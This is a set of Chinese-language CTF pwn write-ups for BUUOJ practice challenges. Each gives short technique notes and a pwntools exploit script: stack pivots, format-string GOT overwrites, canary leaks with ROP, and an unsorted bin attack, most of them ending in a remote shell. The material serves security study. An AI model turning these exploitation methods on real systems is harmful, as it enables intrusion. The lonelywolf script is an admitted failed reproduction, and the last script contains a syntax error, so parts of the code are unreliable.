题目:
gyctf_2020_borrowstack:
关键词:栈迁移
使用可控制的地址覆盖ebp的值,使用leave;ret指令所在地址覆盖ret的值,迁移后要填充4或8
read的时候用send
这题首先注意:
1.bss段离plt,got很近,要适当抬高迁移的位置
3.用system拿,估计还得要栈迁移,麻烦,用og简单,
from pwn import*
r=remote('node3.buuoj.cn',26005)
#r=process('./gyctf_2020_borrowstack')
context.log_level = 'debug'
libc=ELF('./libc-2.23.so')
elf=ELF('./gyctf_2020_borrowstack')
pop_rdi=0x400703
leave_ret=0x400699
ret=0x004004c9
bank=0x601080
r.recvuntil('me what you want')
r.send('a'*0x60+p64(bank+0xa0)+p64(leave_ret))
r.recvuntil( 'borrow stack now!')
r.send(p64(0)*0x14+p64(0)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main']))
r.recvline()
puts=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
og = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget=base+og[1]
r.send('a'*0x68+p64(one_gadget))
r.interactive()
lonelywolf:(复现失败orz)
混入一道国赛题
赛后跟着这位师傅的wp做,尝试本地复现
遇到了很奇怪的问题
这里我要修改0x250的chunk标记位0xff,理应能改到0x250吧,结果只改到了横线画出来的这两行。
,还有就是我与国赛的链接版本不一样,但是我改链接报错,程序直接坏掉
一次失败的复现:
一半wp
from pwn import *
local_file = './lonelywolf'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('', )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#-----------------------------------------------------------------
def allocate(size):
sla('Your choice: ','1')
sla('Index: ','0')
sla('Size: ',str(size))
def edit(index,text):
sla('Your choice: ','2')
sla('Index: ',str(index))
sla('Content: ',str(text))
def show(index):
sla('Your choice: ','3')
sla('Index: ',str(index))
def delete(index):
sla('Your choice: ','4')
sla('Index: ',str(index))
#---------------------------------------------------------------
allocate(0x10)#0
delete(0)
edit(0,'by pass check')
delete(0)
show(0)
ru('Content: ')
heap=uu64(ru('\n')[:-1])
print hex(heap)
#--------------------------------------------------------------
head=heap-0x250
allocate(0x10)
edit(0,p64(head))
allocate(0x10)
allocate(0x10)
edit(0,'\xff'*0x23+'\xff')
#delete(0)
#show(0)
#-------------------------------------------------------------
#allocate(0x80)
#delete(1)
debug()
r.interactive()
axb_2019_fmt32
关键词:格式化字符串漏洞
思路:
这题自带循环,没有栈溢出的地方,而且got表可写
进行两次格式化字符串漏洞利用,和一次填写
1.第一次造成任意读,泄露puts的got表,进而泄露libc
2.第二次造成任意写,把strlen的got表改为system
3.第三次写入;/bin/sh,就能开shell
注意点:
1.这题alarm为3秒,为方便分析,先使其失效
ctf - pwn题之alarm函数_lifanxin的博客-CSDN博客有三种方法
我用其中一种,用vim打开文件
打开后直接输入/alarm进行搜索
找到后回车,按下i进行编辑,更改为isnan
2.多次运行程序调试测定偏移(包括第二次)
3.第二次格式化字符串利用中,不能一次写进4字地址,分两次,strlen地址的前后顺序由大小决定
from pwn import*
r=remote('node3.buuoj.cn',27679)
context.log_level = 'debug'
elf=ELF('./axb_2019_fmt32')
libc=ELF('./libc-2.23.so')
r.recvuntil('Please tell me:')
r.sendline('a'+p32(elf.got['puts'])+'%8$s')
r.recvuntil(':')
r.recv(5)
got=u32(r.recv(4))
print hex(got)
base=got-libc.sym['puts']
print hex(base)
sys=base+libc.sym['system']
#--------------------------------
strlen=elf.got['strlen']
high_sys=(sys>>16)
low_sys=sys&0xffff
print hex(sys)
print hex(high_sys)
print hex(low_sys)
r.recvuntil('Please tell me:')
#payload='p'+'%'+str(low_sys-10)+'c%15$hn'+'%'+str(high_sys-low_sys)+'c%16$hn'+'pp'
#print len(payload)
#r.sendline(payload+p32(strlen)+p32(strlen+2))
pad='a'+fmtstr_payload(8,{elf.got['strlen']:sys},write_size = "byte",numbwritten = 0xa)
r.sendline(pad)
#-------------------------------
r.recvuntil('Please tell me:')
r.sendline(';/bin/sh')
r.interactive()
小结:忘光光,做的时候花了很久,%nc输入n个数,计算字符数到$(不包括),第二次利用格式出字符串的‘a’是为了对齐?
pwntools工具FmtStr利用:
引用这位师傅文章pwntools FmtStr格式化字符串类使用详解_lifanxin的博客-CSDN博客
64位格式化漏洞要设置一下上下文环境
context.arch = "amd64"
fmtstr_payload(offset, writes, numbwritten=0, write_size="byte")
总共四个参数:
offset --> 偏移量
writes --> {被覆盖的地址:要写入的地址} 地址都为int型,也就是不需要使用p32或者p64打包
numbwritten --> 已经由printf函数写入的字节数,默认为0
write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)
others_babystack:
关键词:泄露canary,rop
思路:
1.首先填充数个a至canary,然后接受直到最后一个a,就能接收canary了
2.然后就能栈溢出,泄露libc
3.og开shell
注意点:
由于canary的最后两位是0,puts接受到\x00结束,这里我们用\n代替0,就能带出canary,接收的时候收7个,在右填\x00
小结:
1.ret是在main结束后,才会执行,所以要选一下3,才能打印出got地址
2.不是很明白为啥elf.sym[‘main’]不通,而0x400908行?
3.canary基本形式?0x55dd1e56dddd500
from pwn import*
r=remote('node3.buuoj.cn',26665)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
#context.log_level='debug'
r.sendlineafter('>> ','1')
r.sendline('a'*0x88)
r.sendlineafter('>> ','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,'\x00'))
print hex(canary)
#------------------------------------------
pop_rdi=0x400a93
r.sendlineafter('>> ','1')
r.sendline('a'*0x88+p64(canary)+'a'*8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(0x400908))
r.sendlineafter('>> ','3')
got=u64(r.recv(8).ljust(8,'\x00'))
print hex(got)
base=got-libc.sym['puts']
print hex(base)
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
#------------------------------------------
r.sendlineafter('>> ','1')
r.sendline('a'*0x88+p64(canary)+'p'*8+p64(base+o_g_old[3]))
r.sendlineafter('>> ','3')
r.interactive()
mrctf2020_easyoverflow:
检查是检查v4是否与他相等
from pwn import*
r=remote('node3.buuoj.cn',27309)
r.sendline('a'*0x30+'n0t_r3@11y_f1@g')
r.interactive()
wustctf2020_getshell_2:
**关键词:**限定字符,用call_system
只能多填12个,程序中有现成的call函数就可以不用返回值了,因为它会自己把下一条指令给压进去
所以用call_system能省略返回值
system(‘sh’)也行
from pwn import*
r=remote('node3.buuoj.cn',29304)
elf=ELF('./wustctf2020_getshell_2')
call_system=0x08048529
r.sendline('a'*0x18+'bbbb'+p32(call_system)+p32(0x08048670))
r.interactive()
hitcontraining_magicheap:
题外话:1.突然发现,vim编辑下,按住shift左右移动,会移动到单词首末
2.才发现,连远端的时候不能gdb.attach调试
关键词:unsortbinattack,堆溢出
参考ctf_wikiUnsorted Bin Attack - CTF Wiki (ctf-wiki.org)
这题利用到unsortbin attack:当将一个 unsorted bin 取出的时候,会将 bck->fd
的位置写入本 Unsorted Bin 的位置
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
所以这里实际是把magic改为了unsortbin的地址>1305
思路:
1.申请三个堆,index0,1,2;
0和2大小随意,1大于0x80
2.释放index1,1就会放到unsortbin中,利用堆溢出改index0,溢出把index1的bk改为magic-0x10
unsorted_chunks (av)是链表头的位置
unsorted_chunks (av)->bk = bck; ==> bck=magic-0x10
bck->fd=unsorted_chunks (av) ==> magic=unsotbin的地址
3.在选4869,就可绕过检查,开shell
from pwn import *
#from LibcSearcher import *
local_file = './magicheap'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn',28307)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#--------------------------------------------------
def create(size,content):
sla('Your choice :','1')
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)
def edit(index,size,content):
sla('Your choice :','2')
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sla('Content of heap : ',content)
def delete(index):
sla('Your choice :','3')
sla('Index :',str(index))
def exit():
sla('Your choice :','4')
#----------------------------------------------------
magic=0x6020A0
create(0x10,'aaaa')
create(0x80,'aaaa')
create(0x10,'aaaa')
delete(1)
edit(0,0x30,'a'*0x10+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
create(0x80,'aaaa')
sla(':','4869')
#debug()
r.interactive()
ciscn_2019_s_4:
关键词:栈迁移,rop,调试
思路:
1.第一个read泄露ebp,得知ebp地址及栈地址
2.调试得到ebp与填充的偏移=0xb8-0x80=0x38
3.第二个read写rop链,system的参数要为/bin/sh\x00的地址
from pwn import*
r=remote('node3.buuoj.cn',29002)
#r=process('./ciscn_s_4')
elf=ELF('./ciscn_s_4')
context.log_level = 'debug'
hack=0x804854b
r.send('a'*0x24+'bbbb')
r.recvuntil('bbbb')
ebp=u32(r.recv(4))
#gdb.attach(r)
print hex(ebp)
#------------------------------
leave_ret=0x080484b8
buf=ebp-0x38
r.send('aaaa'+p32(elf.sym['system'])+p32(0)+p32(buf+0x10)+'/bin/sh\x00')+'a'*(0x24-0x14)+p32(buf)+p32(leave_ret))
r.interactive()